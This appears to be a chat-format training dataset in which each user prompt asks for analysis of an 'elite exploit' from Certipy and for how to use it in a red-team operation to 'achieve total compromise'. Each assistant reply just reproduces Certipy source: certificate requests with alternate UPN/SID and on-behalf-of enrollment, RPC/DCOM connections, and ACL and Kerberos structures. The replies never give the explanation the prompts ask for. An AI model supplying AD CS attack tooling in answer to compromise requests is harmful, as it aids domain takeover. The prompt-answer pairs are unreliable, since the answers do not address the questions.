self.application_policies = [\n OID_TO_STR_NAME_MAP.get(policy.lower(), policy)\n for policy in (application_policies or [])\n ]\n self.smime = smime\n\n # Connection parameters\n self.web = web\n self.dcom = dcom\n self.http_port = http_port\n self.http_scheme = http_scheme\n self.no_channel_binding = no_channel_binding\n\n # Handle default ports based on scheme\n if not self.http_port and self.http_scheme:\n if self.http_scheme == \"http\":\n self.http_port = 80\n elif self.http_scheme == \"https\":\n self.http_port = 443\n\n self.dynamic = dynamic_endpoint\n self.kwargs = kwargs\n\n # Interface is initialized on demand\n self._interface = None\n\n @property\n def interface(self) -> RequestInterface:\n \"\"\"\n Get the appropriate request interface based on configuration.\n\n Returns:\n Configured request interface instance\n \"\"\"\n if self._interface is not None:\n return self._interface\n\n # Select interface based on configuration\n if self.web:\n self._interface = WebRequestInterface(self)\n elif self.dcom:\n self._interface = DCOMRequestInterface(self)\n else:\n self._interface = RPCRequestInterface(self)\n\n return self._interface\n\n def retrieve(self) -> bool:\n \"\"\"\n Retrieve a certificate by request ID.\n\n Returns:\n True if successful, False otherwise\n \"\"\"\n if self.request_id is None:\n logging.error(\"No request ID specified\")\n return False\n\n request_id = int(self.request_id)\n\n # Retrieve the certificate using the appropriate interface\n cert = self.interface.retrieve(request_id)\n if cert is False or cert is None:\n logging.error(\"Failed to retrieve certificate\")\n return False\n\n handle_retrieve(\n cert, request_id, self.target.username, self.out, self.pfx_password\n )\n\n return True\n\n def request(self) -> Union[bool, Tuple[bytes, str]]:\n \"\"\"\n Request a new certificate from AD CS.\n\n Returns:\n PFX data and filename if successful, False otherwise\n \"\"\"\n # Determine username for certificate\n username = self.target.username\n\n # Validate request options\n if sum(map(bool, [self.archive_key, self.on_behalf_of, self.renew])) > 1:\n logging.error(\n \"Combinations of -renew, -on-behalf-of, and -archive-key are currently not supported\"\n )\n return False\n\n # Handle on-behalf-of requests\n if self.on_behalf_of:\n username = self.on_behalf_of\n if self.on_behalf_of.count(\"\\\\\") > 0:\n parts = username.split(\"\\\\\")\n username = \"\\\\\".join(parts[1:])\n domain = parts[0]\n if \".\" in domain:\n logging.warning(\n \"Domain part of '-on-behalf-of' should not be a FQDN\"\n )\n\n # Handle certificate renewal\n renewal_cert = None\n renewal_key = None\n if self.renew:\n if self.pfx is None:\n logging.error(\n \"A certificate and private key (-pfx) is required for renewal\"\n )\n return False\n\n with open(self.pfx, \"rb\") as f:\n renewal_key, renewal_cert = load_pfx(f.read())\n if not renewal_key or not renewal_cert:\n logging.error(\"Failed to load certificate and private key from PFX\")\n return False\n\n # Create the CSR\n csr, key = create_csr(\n username,\n alt_dns=self.alt_dns,\n alt_upn=self.alt_upn,\n alt_sid=self.alt_sid,\n subject=self.subject,\n key_size=self.key_size,\n application_policies=self.application_policies,\n smime=self.smime,\n key=self.key,\n renewal_cert=renewal_cert,\n )\n self.key = key\n\n # Convert CSR to DER format\n csr_der = csr_to_der(csr)\n\n # Handle key archival\n if self.archive_key:\n ca = CA(self.target, self.ca)\n logging.info(\"Trying to retrieve CAX certificate\")\n cax_cert = ca.get_exchange_certificate()\n logging.info(\"Retrieved CAX certificate\")\n csr_der = create_key_archival(der_to_csr(csr_der), self.key, cax_cert)\n\n # Handle certificate renewal\n if self.renew:\n if not renewal_cert or not renewal_key:\n logging.error(\n \"A certificate and private key (-pfx) is required for renewal\"\n )\n return False\n\n if not isinstance(renewal_key, rsa.RSAPrivateKey):\n logging.error(\"Currently only RSA keys are supported for renewal\")\n return False\n\n csr_der = create_renewal(csr_der, renewal_cert, renewal_key)\n\n # Handle on-behalf-of requests\n if self.on_behalf_of:\n if self.pfx is None:\n logging.error(\n \"A certificate and private key (-pfx) is required for on-behalf-of requests\"\n )\n return False\n\n with open(self.pfx, \"rb\") as f:\n agent_key, agent_cert = load_pfx(f.read())\n\n if agent_key is None or agent_cert is None:\n logging.error(\n f\"Failed to load certificate and private key from {self.pfx}\"\n )\n return False\n\n if not isinstance(agent_key, rsa.RSAPrivateKey):\n logging.error(\n \"Currently only RSA keys are supported for on-behalf-of requests\"\n )\n return False\n\n csr_der = create_on_behalf_of(\n csr_der, self.on_behalf_of, agent_cert, agent_key\n )\n\n # Construct attributes list\n attributes = create_csr_attributes(\n self.template,\n self.alt_dns,\n self.alt_upn,\n self.alt_sid,\n self.application_policies,\n )\n\n # Submit the certificate request\n cert = self.interface.request(csr_der, attributes)\n\n if cert is False or cert is None:\n logging.error(\"Failed to request certificate\")\n return False\n\n return handle_request_response(\n cert,\n key,\n username,\n subject=self.subject,\n alt_sid=self.alt_sid,\n out=self.out,\n pfx_password=self.pfx_password,\n )\n\n def get_cax(self) -> Union[bool, bytes]:\n \"\"\"\n Retrieve the CAX (Exchange) certificate.\n\n Returns:\n CAX certificate in DER format if successful, False otherwise\n \"\"\"\n ca = CA(self.target, self.ca)\n logging.info(\"Trying to retrieve CAX certificate\")\n cax_cert = ca.get_exchange_certificate()\n logging.info(\"Retrieved CAX certificate\")\n cax_cert_der = cert_to_der(cax_cert)\n\n return cax_cert_der\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/rpc.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nRPC (Remote Procedure Call) utilities for Certipy.\n\nThis module provides functions for establishing RPC connections to remote services,\nincluding DCOM, named pipes, and dynamic endpoints. It supports various authentication\nmethods including Kerberos and NTLM.\n\"\"\"\n\nfrom typing import Optional\n\nfrom impacket import uuid\nfrom impacket.dcerpc.v5 import epm, rpcrt, transport\nfrom impacket.dcerpc.v5.dcomrt import DCOMConnection\n\nfrom certipy.lib.errors import handle_error\nfrom certipy.lib.kerberos import get_tgs\nfrom certipy.lib.logger import is_verbose, logging\nfrom certipy.lib.target import Target\n\n\ndef get_dcom_connection(target: Target) -> DCOMConnection:\n \"\"\"\n Establish a DCOM connection to the target.\n\n Args:\n target: Target object containing connection parameters\n\n Returns:\n DCOMConnection object for the target\n\n Notes:\n Uses Kerberos authentication if target.do_kerberos is True\n \"\"\"\n tgs = None\n username = target.username\n domain = target.domain\n\n logging.debug(f\"Trying to get DCOM connection for: {target.target_ip!r}\")\n\n # Get Kerberos ticket if needed\n if target.do_kerberos:\n if not target.remote_name:\n logging.warning(\"Target remote name is not set.\")\n\n kdc_rep, cipher, session_key, username, domain = get_tgs(\n target,\n target_name=target.remote_name,\n )\n tgs = {\"KDC_REP\": kdc_rep, \"cipher\": cipher, \"sessionKey\": session_key}\n\n # Create DCOM connection\n dcom = DCOMConnection(\n target.target_ip,\n username=username,\n password=target.password or \"\",\n domain=domain,\n lmhash=target.lmhash,\n nthash=target.nthash,\n TGS=tgs,\n doKerberos=target.do_kerberos,\n kdcHost=target.dc_ip,\n )\n\n return dcom\n\n\ndef get_dce_rpc_from_string_binding(\n string_binding: str,\n target: Target,\n timeout: int = 5,\n target_ip: Optional[str] = None,\n remote_name: Optional[str] = None,\n auth_level: int = rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY,\n) -> rpcrt.DCERPC_v5:\n \"\"\"\n Create a DCE RPC connection from a string binding.\n\n Args:\n string_binding: The RPC string binding (e.g., \"ncacn_np:server[pipe]\")\n target: Target object containing authentication parameters\n timeout: Connection timeout in seconds\n target_ip: Override target IP address (uses target.target_ip if None)\n remote_name: Override remote name (uses target.remote_name if None)\n auth_level: Authentication level for the connection\n\n Returns:\n Configured DCERPC_v5 object (not connected)\n\n Notes:\n The returned object needs to be connected with dce.connect()\n \"\"\"\n if target_ip is None:\n target_ip = target.target_ip or \"\"\n if remote_name is None:\n remote_name = target.remote_name\n\n # Create RPC transport\n rpctransport = transport.DCERPCTransportFactory(string_binding)\n rpctransport.setRemoteHost(target_ip)\n rpctransport.setRemoteName(remote_name)\n rpctransport.set_connect_timeout(timeout)\n rpctransport.set_kerberos(target.do_kerberos, kdcHost=target.dc_ip)\n\n username = target.username\n domain = target.domain\n tgs = None\n\n # Get Kerberos ticket if needed\n if target.do_kerberos:\n if not remote_name:\n logging.warning(\"Target remote name is not set.\")\n\n kdc_rep, cipher, session_key, username, domain = get_tgs(\n target,\n target_name=remote_name,\n )\n tgs = {\"KDC_REP\": kdc_rep, \"cipher\": cipher, \"sessionKey\": session_key}\n\n # Set credentials on the transport\n rpctransport.set_credentials(\n username,\n target.password,\n domain,\n target.lmhash,\n target.nthash,\n TGS=tgs,\n )\n\n # Get DCE RPC object and configure it\n dce = rpctransport.get_dce_rpc()\n dce.set_auth_level(auth_level)\n\n if target.do_kerberos:\n dce.set_auth_type(rpcrt.RPC_C_AUTHN_GSS_NEGOTIATE)\n\n return dce\n\n\ndef get_dynamic_endpoint(\n interface: bytes, target: str, timeout: int = 5\n) -> Optional[str]:\n \"\"\"\n Resolve a dynamic endpoint for an RPC interface.\n\n Args:\n interface: RPC interface identifier (UUID)\n target: Target hostname or IP address\n timeout: Connection timeout in seconds\n\n Returns:\n Resolved endpoint string or None if resolution fails\n\n Notes:\n Uses the endpoint mapper (port 135) to resolve the dynamic endpoint\n \"\"\"\n string_binding = f\"ncacn_ip_tcp:{target}[135]\"\n rpctransport = transport.DCERPCTransportFactory(string_binding)\n rpctransport.set_connect_timeout(timeout)\n dce = rpctransport.get_dce_rpc()\n\n interface_str = uuid.bin_to_string(interface)\n logging.debug(f\"Trying to resolve dynamic endpoint {interface_str}\")\n\n # Connect to endpoint mapper\n try:\n dce.connect()\n except Exception as e:\n logging.warning(f\"Failed to connect to endpoint mapper: {e}\")\n handle_error(True)\n return None\n\n # Try to resolve endpoint\n try:\n endpoint = epm.hept_map(target, interface, protocol=\"ncacn_ip_tcp\", dce=dce)\n logging.debug(f\"Resolved dynamic endpoint {interface_str} to {endpoint}\")\n return endpoint\n except Exception as e:\n logging.warning(f\"Failed to resolve dynamic endpoint {interface_str}: {e}\")\n handle_error(True)\n return None\n\n\ndef get_dce_rpc(\n interface: bytes,\n named_pipe: str,\n target: Target,\n timeout: int = 5,\n dynamic: bool = False,\n auth_level_np: int = rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY,\n auth_level_dyn: int = rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY,\n) -> Optional[rpcrt.DCERPC_v5]:\n \"\"\"\n Get a connected DCE RPC interface.\n\n This function attempts to connect to an RPC interface using either named pipes\n or dynamic endpoints. It will try multiple methods if the first fails.\n\n Args:\n interface: RPC interface identifier (UUID)\n named_pipe: Named pipe path to connect to\n target: Target object containing connection parameters\n timeout: Connection timeout in seconds\n dynamic: If True, try dynamic endpoint first, otherwise try named pipe first\n auth_level_np: Authentication level for named pipe connections\n auth_level_dyn: Authentication level for dynamic endpoint connections\n\n Returns:\n Connected DCERPC_v5 object or None if all connection attempts fail\n \"\"\"\n\n def _try_binding(string_binding: str, auth_level: int) -> Optional[rpcrt.DCERPC_v5]:\n \"\"\"Try to connect to a specific string binding.\"\"\"\n dce = get_dce_rpc_from_string_binding(\n string_binding, target, timeout, auth_level=auth_level\n )\n\n logging.debug(f\"Trying to connect to endpoint: {string_binding}\")\n try:\n dce.connect()\n except Exception as e:\n if is_verbose():\n logging.warning(f\"Failed to connect to endpoint {string_binding}: {e}\")\n handle_error(True)\n return None\n\n logging.debug(f\"Connected to endpoint: {string_binding}\")\n\n # Bind to the interface\n try:\n _ = dce.bind(interface)\n return dce\n except Exception as e:\n if is_verbose():\n logging.warning(f\"Failed to bind to interface: {e}\")\n handle_error(True)\n return None\n\n def _try_np() -> Optional[rpcrt.DCERPC_v5]:\n \"\"\"Try named pipe connection.\"\"\"\n if not target.target_ip:\n logging.error(\"Target IP is not set\")\n return None\n\n string_binding = f\"ncacn_np:{target.target_ip}[{named_pipe}]\"\n return _try_binding(string_binding, auth_level=auth_level_np)\n\n def _try_dyn() -> Optional[rpcrt.DCERPC_v5]:\n \"\"\"Try dynamic endpoint connection.\"\"\"\n if not target.target_ip:\n logging.error(\"Target IP is not set\")\n return None\n\n string_binding = get_dynamic_endpoint(interface, target.target_ip, timeout)\n if string_binding is None:\n # Possible errors:\n # - TCP Port 135 is firewalled off\n # - Service is not running\n logging.error(\n f\"Failed to get dynamic TCP endpoint for {uuid.bin_to_string(interface)}\"\n )\n return None\n\n return _try_binding(string_binding, auth_level=auth_level_dyn)\n\n # Determine which method to try first\n methods = [_try_dyn, _try_np] if dynamic else [_try_np, _try_dyn]\n\n # Try connection methods in order\n for method in methods:\n dce = method()\n if dce is not None:\n return dce\n\n return None\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/security.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nSecurity module for parsing and interpreting Active Directory security descriptors.\n\nThis module provides classes for handling security descriptors related to:\n- Active Directory objects\n- Certificates\n- Certificate Issuance Policies\n- Certification Authorities\n\"\"\"\n\nimport re\nfrom typing import Any, Dict\n\nfrom impacket.ldap import ldaptypes\nfrom impacket.uuid import bin_to_string\nfrom ldap3.protocol.formatters.formatters import format_sid\n\nfrom certipy.lib.constants import (\n EXTENDED_RIGHTS_NAME_MAP,\n ActiveDirectoryRights,\n CertificateAuthorityRights,\n CertificateRights,\n IssuancePolicyRights,\n)\n\n# Access Control Entry flags\nINHERITED_ACE = 0x10\n\nSE_DACL_PRESENT = 0x0004\nSE_DACL_AUTO_INHERITED = 0x0400\nSE_SACL_AUTO_INHERITED = 0x0800\nSE_DACL_PROTECTED = 0x1000\nSE_SELF_RELATIVE = 0x8000\n\n\nclass SecurityDescriptorParser:\n \"\"\"Base class for parsing security descriptors.\"\"\"\n\n RIGHTS_TYPE = None # Must be defined by subclasses\n\n def __init__(self, security_descriptor: bytes):\n \"\"\"\n Initialize a security descriptor parser.\n\n Args:\n security_descriptor: Binary representation of a security descriptor\n \"\"\"\n if self.RIGHTS_TYPE is None:\n raise NotImplementedError(\"Subclasses must define RIGHTS_TYPE\")\n\n # Parse the security descriptor\n self.sd = ldaptypes.SR_SECURITY_DESCRIPTOR()\n self.sd.fromString(security_descriptor)\n\n # Extract owner SID\n self.owner = format_sid(self.sd[\"OwnerSid\"].getData())\n\n # Dictionary to store access control entries by SID\n self.aces: Dict[str, Dict[str, Any]] = {}\n\n # Parse the ACEs\n self._parse_aces()\n\n def _parse_aces(self) -> None:\n \"\"\"Parse the access control entries from the security descriptor.\"\"\"\n pass # To be implemented by subclasses\n\n\nclass ActiveDirectorySecurity(SecurityDescriptorParser):\n \"\"\"Parser for Active Directory security descriptors.\"\"\"\n\n RIGHTS_TYPE = ActiveDirectoryRights\n\n def _parse_aces(self) -> None:\n \"\"\"\n Parse the access control entries from the security descriptor.\n\n This method extracts both standard rights and extended rights.\n \"\"\"\n aces = self.sd[\"Dacl\"][\"Data\"]\n\n # TODO: Handle DENIED ACEs\n\n for ace in aces:\n sid = format_sid(ace[\"Ace\"][\"Sid\"].getData())\n\n # Initialize entry for this SID if not already present\n if sid not in self.aces:\n self.aces[sid] = {\n \"rights\": self.RIGHTS_TYPE(0),\n \"extended_rights\": [],\n \"inherited\": bool(ace[\"AceFlags\"] & INHERITED_ACE),\n # Tracks if a standard ACCESS_ALLOWED_ACE grants control access (0x00000100)\n \"has_standard_control_access\": False,\n }\n\n # Process standard access allowed ACE\n if ace[\"AceType\"] == ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:\n mask = self.RIGHTS_TYPE(ace[\"Ace\"][\"Mask\"][\"Mask\"])\n self.aces[sid][\"rights\"] |= mask\n # Rule 2 (MS-CRTD): ACCESS_ALLOWED_ACE with control access bit set\n if mask & ActiveDirectoryRights.EXTENDED_RIGHT:\n self.aces[sid][\"has_standard_control_access\"] = True\n\n # Process object-specific ACE (for extended rights)\n elif ace[\"AceType\"] == ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace[\n \"Ace\"\n ][\"Mask\"].hasPriv(\n ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS\n ):\n\n mask = self.RIGHTS_TYPE(ace[\"Ace\"][\"Mask\"][\"Mask\"])\n self.aces[sid][\"rights\"] |= mask\n\n # Extract the specific extended right (identified by UUID)\n if ace[\"Ace\"].hasFlag(\n ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT\n ):\n uuid = bin_to_string(ace[\"Ace\"][\"ObjectType\"]).lower()\n else:\n # If no specific GUID is provided, this grants all extended rights\n # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/1522b774-6464-41a3-87a5-1e5633c3fbbb\n uuid = EXTENDED_RIGHTS_NAME_MAP[\"All-Extended-Rights\"]\n\n self.aces[sid][\"extended_rights\"].append(uuid)\n\n def to_bytes(self) -> bytes:\n \"\"\"\n Convert the security descriptor to its binary representation.\n\n Returns:\n Binary representation of the security descriptor\n \"\"\"\n return self.sd.getData()\n\n\nclass CertificateSecurity(ActiveDirectorySecurity):\n \"\"\"Parser for certificate template security descriptors.\"\"\"\n\n RIGHTS_TYPE = CertificateRights\n\n\nclass IssuancePolicySecurity(ActiveDirectorySecurity):\n \"\"\"Parser for certificate issuance policy security descriptors.\"\"\"\n\n RIGHTS_TYPE = IssuancePolicyRights\n\n\nclass CASecurity(SecurityDescriptorParser):\n \"\"\"Parser for Certification Authority security descriptors.\"\"\"\n\n RIGHTS_TYPE = CertificateAuthorityRights\n\n def _parse_aces(self) -> None:\n \"\"\"\n Parse the access control entries from the security descriptor.\n\n CA security descriptors have a simpler structure than AD security descriptors.\n \"\"\"\n aces = self.sd[\"Dacl\"][\"Data\"]\n\n for ace in aces:\n sid = format_sid(ace[\"Ace\"][\"Sid\"].getData())\n\n if sid not in self.aces:\n self.aces[sid] = {\n \"rights\": self.RIGHTS_TYPE(0),\n \"extended_rights\": [], # CAs don't use extended rights, but keeping for consistency\n \"inherited\": bool(ace[\"AceFlags\"] & INHERITED_ACE),\n }\n\n if ace[\"AceType\"] == ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE:\n mask = self.RIGHTS_TYPE(ace[\"Ace\"][\"Mask\"][\"Mask\"])\n self.aces[sid][\"rights\"] |= mask\n\n\ndef is_admin_sid(sid: str) -> bool:\n \"\"\"\n Check if a security identifier (SID) belongs to an administrative group.\n\n This function identifies built-in administrator accounts and groups by their well-known SIDs.\n\n Args:\n sid: The security identifier to check\n\n Returns:\n True if the SID belongs to an administrative group, False otherwise\n\n Common Admin SIDs:\n - S-1-5-21-*-498: Enterprise Read-Only Domain Controllers group\n - S-1-5-21-*-500: Built-in Administrator account\n - S-1-5-21-*-502: Krbtgt account\n - S-1-5-21-*-512: Domain Admins group\n - S-1-5-21-*-516: Domain Controllers group\n - S-1-5-21-*-518: Schema Admins group\n - S-1-5-21-*-519: Enterprise Admins group\n - S-1-5-21-*-521: Read-only Domain Controllers group\n - S-1-5-32-544: Built-in Administrators group\n - S-1-5-9: Enterprise Domain Controllers\n \"\"\"\n admin_rid_pattern = \"^S-1-5-21-.+-(498|500|502|512|516|518|519|521)$\"\n builtin_admin_sids = [\"S-1-5-9\", \"S-1-5-32-544\"]\n\n return re.match(admin_rid_pattern, sid) is not None or sid in builtin_admin_sids\n\n\n\"\"\"\n\ndef create_ace(sid, mask):\n nace = ACE()\n nace['AceType'] = ACCESS_ALLOWED_ACE.ACE_TYPE\n nace['AceFlags'] = 0x00\n acedata = ACCESS_ALLOWED_ACE()\n acedata['Mask'] = ACCESS_MASK()\n acedata['Mask']['Mask'] = mask\n acedata['Sid'] = LDAP_SID()\n acedata['Sid'].fromCanonical(sid)\n nace['Ace'] = acedata\n return nace\n\ndef create_sd(sid):\n sd = SR_SECURITY_DESCRIPTOR()\n sd['Revision'] = b'\\x01'\n sd['Sbz1'] = b'\\x00'\n sd['Control'] = 32772\n sd['OwnerSid'] = LDAP_SID()\n sd['OwnerSid'].fromCanonical('S-1-5-18')\n sd['GroupSid'] = LDAP_SID()\n sd['GroupSid'].fromCanonical('S-1-5-18')\n sd['Sacl'] = b''\n\n acl = ACL()\n acl['AclRevision'] = 2\n acl['Sbz1'] = 0\n acl['Sbz2'] = 0\n acl.aces = []\n acl.aces.append(create_ace(sid, 3))\n acl.aces.append(create_ace('S-1-1-0',2))\n sd['Dacl'] = acl\n return sd\n\"\"\"\n\n\ndef create_authenticated_users_sd() -> ldaptypes.SR_SECURITY_DESCRIPTOR:\n \"\"\"\n Create a security descriptor for the \"Authenticated Users\" group.\n This security descriptor grants the \"Authenticated Users\" group\n the right to read the object and its properties.\n \"\"\"\n sd = ldaptypes.SR_SECURITY_DESCRIPTOR()\n sd[\"Revision\"] = b\"\\x01\"\n sd[\"Sbz1\"] = b\"\\x00\"\n sd[\"Control\"] = (\n SE_DACL_PRESENT\n | SE_DACL_AUTO_INHERITED\n | SE_SACL_AUTO_INHERITED\n | SE_DACL_PROTECTED\n | SE_SELF_RELATIVE\n )\n sd[\"OwnerSid\"] = ldaptypes.LDAP_SID()\n sd[\"OwnerSid\"].fromCanonical(\"S-1-5-11\")\n sd[\"GroupSid\"] = b\"\"\n sd[\"Sacl\"] = b\"\"\n\n ace = ldaptypes.ACE()\n ace[\"AceType\"] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE\n ace[\"AceFlags\"] = 0\n ace_data = ldaptypes.ACCESS_ALLOWED_ACE()\n ace_data[\"Mask\"] = ldaptypes.ACCESS_MASK()\n ace_data[\"Mask\"][\"Mask\"] = CertificateRights.GENERIC_ALL\n ace_data[\"Sid\"] = ldaptypes.LDAP_SID()\n ace_data[\"Sid\"].fromCanonical(\"S-1-5-11\")\n ace[\"Ace\"] = ace_data\n\n acl = ldaptypes.ACL()\n acl[\"AclRevision\"] = 2\n acl[\"Sbz1\"] = 0\n acl[\"Sbz2\"] = 0\n acl.aces = []\n acl.aces.append(ace)\n sd[\"Dacl\"] = acl\n\n # Convert aces to data\n sd_data = sd.getData()\n sd = ldaptypes.SR_SECURITY_DESCRIPTOR()\n sd.fromString(sd_data)\n\n return sd\n\n<|im_end|>"} {"text": "<|im_start|>user\nAnalyze this elite tool/exploit from 'CERTIPY'. Explain the high-level attack vector (e.g., Kerberos manipulation, Kernel exploitation). Describe how to use this in a Red Team operation to achieve total compromise.\nFile: certipy/lib/structs.py\n<|im_end|>\n<|im_start|>assistant\nREPO: CERTIPY\nCODE:\n\"\"\"\nKerberos protocol ASN.1 structure definitions.\n\nThis module defines the ASN.1 structures used in Kerberos authentication\nprotocol and Microsoft extensions, implemented using the asn1crypto library.\nIt also provides enhanced Enum types with better string representation.\n\"\"\"\n\nimport enum\nfrom typing import List\n\nfrom asn1crypto import cms, core, csr, keys, x509\n\nfrom certipy.lib.formatting import to_pascal_case\n\n# ASN.1 tag constants\nTAG = \"explicit\"\nAPPLICATION = 1\nCONTEXT = 2\n\n\nclass IntFlag(enum.IntFlag):\n \"\"\"\n Enhanced IntFlag with smart string representation.\n \"\"\"\n\n def to_list(self) -> List[\"IntFlag\"]:\n \"\"\"\n Decompose flag into list of individual flags.\n\n Returns:\n List of individual flag members\n \"\"\"\n if not self._value_:\n return []\n\n # Get all individual flags that make up this value\n return [\n flag for flag in self.__class__ if flag.value and flag.value & self._value_\n ]\n\n def to_str_list(self) -> List[str]:\n \"\"\"\n Return list of flag names.\n\n Returns:\n List of flag names\n \"\"\"\n return [\n to_pascal_case(flag.name)\n for flag in self.to_list()\n if flag.name is not None\n ]\n\n def __str__(self) -> str:\n \"\"\"\n Smart string representation that handles combinations gracefully.\n\n Returns:\n Human-readable string representation of the flag(s)\n \"\"\"\n # Handle named values\n if self.name is not None:\n return to_pascal_case(self.name)\n\n # Handle empty flags\n if not self._value_:\n return \"\"\n\n # Get individual flags\n flags = self.to_list()\n\n # If no decomposition was possible, return the raw value\n if not flags:\n return repr(self._value_)\n\n # Return comma-separated list of flag names\n return \", \".join(\n to_pascal_case(flag.name) for flag in flags if flag.name is not None\n )\n\n def __repr__(self) -> str:\n return str(self)\n\n\nclass Flag(enum.Flag):\n \"\"\"\n Enhanced Flag with smart string representation.\n \"\"\"\n\n def to_list(self) -> List[\"Flag\"]:\n \"\"\"\n Decompose flag into list of individual flags.\n\n Returns:\n List of individual flag members\n \"\"\"\n if not self._value_:\n return []\n\n # Get all individual flags that make up this value\n return [\n flag for flag in self.__class__ if flag.value and flag.value & self._value_\n ]\n\n def to_str_list(self) -> List[str]:\n \"\"\"\n Return list of flag names.\n\n Returns:\n List of flag names\n \"\"\"\n return [\n to_pascal_case(flag.name)\n for flag in self.to_list()\n if flag.name is not None\n ]\n\n def __str__(self) -> str:\n \"\"\"\n Smart string representation that handles combinations gracefully.\n\n Returns:\n Human-readable string representation of the flag(s)\n \"\"\"\n # Handle named values\n if self.name is not None:\n return to_pascal_case(self.name)\n\n # Handle empty flags\n if not self._value_:\n return \"\"\n\n # Get individual flags\n flags = self.to_list()\n\n # If no decomposition was possible, return the raw value\n if not flags:\n return repr(self._value_)\n\n # Return comma-separated list of flag names\n return \", \".join(\n to_pascal_case(flag.name) for flag in flags if flag.name is not None\n )\n\n def __repr__(self) -> str:\n return str(self)\n\n\n# =========================================================================\n# Basic ASN.1 structures\n# =========================================================================\n\n\nclass SequenceOfEnctype(core.SequenceOf):\n \"\"\"Sequence of Kerberos encryption types.\"\"\"\n\n _child_spec = core.Integer\n\n\nclass SequenceOfKerberosString(core.SequenceOf):\n \"\"\"Sequence of Kerberos strings.\"\"\"\n\n _child_spec = core.GeneralString\n\n\nclass PrincipalName(core.Sequence):\n \"\"\"\n Kerberos principal name structure.\n\n Represents a service or user principal in the format of name-type and name-string.\n \"\"\"\n\n _fields = [\n (\"name-type\", core.Integer, {\"tag_type\": TAG, \"tag\": 0}),\n (\"name-string\", SequenceOfKerberosString, {\"tag_type\": TAG, \"tag\": 1}),\n ]\n\n\nclass HostAddress(core.Sequence):\n \"\"\"\n Network host address structure.\n\n Contains address type and the actual address data.\n \"\"\"\n\n _fields = [\n (\"addr-type\", core.Integer, {\"tag_type\": TAG, \"tag\": 0}),\n (\"address\", core.OctetString, {\"tag_type\": TAG, \"tag\": 1}),\n ]\n\n\nclass HostAddresses(core.SequenceOf):\n \"\"\"Collection of host addresses.\"\"\"\n\n _child_spec = HostAddress\n\n\nclass KDCOptions(core.BitString):\n \"\"\"\n Kerberos KDC request options bitmap.\n\n This structure represents the various options that can be set in a Kerberos request.\n \"\"\"\n\n _map = {\n 0: \"reserved\",\n 1: \"forwardable\",\n 2: \"forwarded\",\n 3: \"proxiable\",\n 4: \"proxy\",\n 5: \"allow-postdate\",\n 6: \"postdated\",\n 7: \"unused7\",\n 8: \"renewable\",\n 9: \"unused9\",\n 10: \"unused10\",\n 11: \"opt-hardware-auth\",\n 12: \"unused12\",\n 13: \"unused13\",\n 14: \"constrained-delegation\", # cname-in-addl-tkt (14)\n 15: \"canonicalize\",\n 16: \"request-anonymous\",\n 17: \"unused17\",\n 18: \"unused18\",\n 19: \"unused19\",\n 20: \"unused20\",\n 21: \"unused21\",\n 22: \"unused22\",\n 23: \"unused23\",\n 24: \"unused24\",\n 25: \"unused25\",\n 26: \"disable-transited-check\",\n 27: \"renewable-ok\",\n 28: \"enc-tkt-in-skey\",\n 30: \"renew\",\n 31: \"validate\",\n }\n\n\nclass EncryptedData(core.Sequence):\n \"\"\"\n Generic encrypted data container for Kerberos.\n\n Contains encryption type, optional key version, and the encrypted content.\n \"\"\"\n\n _fields = [\n (\"etype\", core.Integer, {\"tag_type\": TAG, \"tag\": 0}), # EncryptionType\n (\n \"kvno\",\n core.Integer,\n {\"tag_type\": TAG, \"tag\": 1, \"optional\": True},\n ), # Key version number\n (\"cipher\", core.OctetString, {\"tag_type\": TAG, \"tag\": 2}), # Ciphertext\n ]\n\n\nclass Ticket(core.Sequence):\n \"\"\"\n Kerberos ticket structure.\n\n Contains ticket version, realm, service name, and encrypted ticket part.\n \"\"\"\n\n explicit = (APPLICATION, 1)\n\n _fields = [\n (\"tkt-vno\", core.Integer, {\"tag_type\": TAG, \"tag\": 0}),\n (\"realm\", core.GeneralString, {\"tag_type\": TAG, \"tag\": 1}),\n (\"sname\", PrincipalName, {\"tag_type\": TAG, \"tag\": 2}),\n (\"enc-part\", EncryptedData, {\"tag_type\": TAG, \"tag\": 3}), # EncTicketPart\n ]\n\n\nclass SequenceOfTicket(core.SequenceOf):\n \"\"\"Collection of Kerberos tickets.\"\"\"\n\n _child_spec = Ticket\n\n\nclass PaData(core.Sequence):\n \"\"\"\n Pre-authentication data structure.\n\n Used for various authentication mechanisms in Kerberos.\n \"\"\"\n\n _fields = [\n (\"padata-type\", core.Integer, {\"tag_type\": TAG, \"tag\": 1}),\n (\"padata-value\", core.OctetString, {\"tag_type\": TAG, \"tag\": 2}),\n ]\n\n\nclass MethodData(core.SequenceOf):\n \"\"\"Collection of pre-authentication data elements.\"\"\"\n\n _child_spec = PaData\n\n\nclass KdcReqBody(core.Sequence):\n \"\"\"\n KDC request body structure.\n\n Contains the core parameters for KDC requests like AS-REQ and TGS-REQ.\n \"\"\"\n\n _fields = [\n (\"kdc-options\", KDCOptions, {\"tag_type\": TAG, \"tag\": 0}),\n (\"cname\", PrincipalName, {\"tag_type\": TAG, \"tag\": 1, \"optional\": True}),\n (\"realm\", core.GeneralString, {\"tag_type\": TAG, \"tag\": 2}),\n (\"sname\", PrincipalName, {\"tag_type\": TAG, \"tag\": 3, \"optional\": True}),\n (\"from\", 